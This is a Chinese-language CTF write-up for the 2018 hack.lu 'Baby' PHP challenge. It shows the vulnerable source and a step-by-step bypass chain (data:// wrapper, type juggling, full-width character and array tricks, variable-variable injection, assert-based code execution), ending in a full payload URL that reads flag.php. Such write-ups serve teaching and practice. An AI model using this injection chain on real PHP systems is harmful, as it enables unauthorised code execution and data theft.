2018 hack.lu Web baby做题记录

题目

<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

思路

if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

看到file_get_contents,第一时间想到php伪协议,又是对$msg的数据进行比较,则用data协议嵌入数据进行绕过。结果:msg=data://text/plain,Hello%20Challenge!

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

intval函数会将$k1中的数字字符串转换为整型,绕过条件是 intval($k1)===$cc & $k1!==$cc,则需要类似$k1='1337abc'。结果:key1=1337a

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

这里需要$k2是纯数字并且数字最后是全角$,全角$的url编码是%EF%BC%84,占3个字符,加上1337,最后需要填充35个字符,一种方法是在1337$前填充35个0,另一种方法是在1337$后填充35个空格,空格用url编码%20。结果:key2=1337$%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

将$k1和$k2互换值。将$cc子串与sha1($cc)进行比较,本质是sha1的强比较,用数组绕过。然后将所有GET参数注册为变量,例如:?foo=bar 会变成 $foo='bar'; 。结果:$cc[]=1

$b=1;//;"b"=a$;"2" = b

用鼠标选择,发现是一个逆序,本质是 $‮b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

$$a本质是$b,需要$k1=2进行绕过,由于前面会将传入的GET参数全部注册为变量,将k1作为GET参数传入即可。结果:k1=2

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

PHP 8以下版本中,assert("$bb == $cc"); 会被当做PHP代码字符串执行,类似于 eval("$bb == $cc"); ,同样利用GET参数注册为变量的漏洞。结果:bb=show_source('flag.php');//

最终payload:
?msg=data://text/plain,Hello%20Challenge!&key1=1337a&key2=1337$%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&cc[]=1&k1=2&bb=show_source('flag.php');//

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值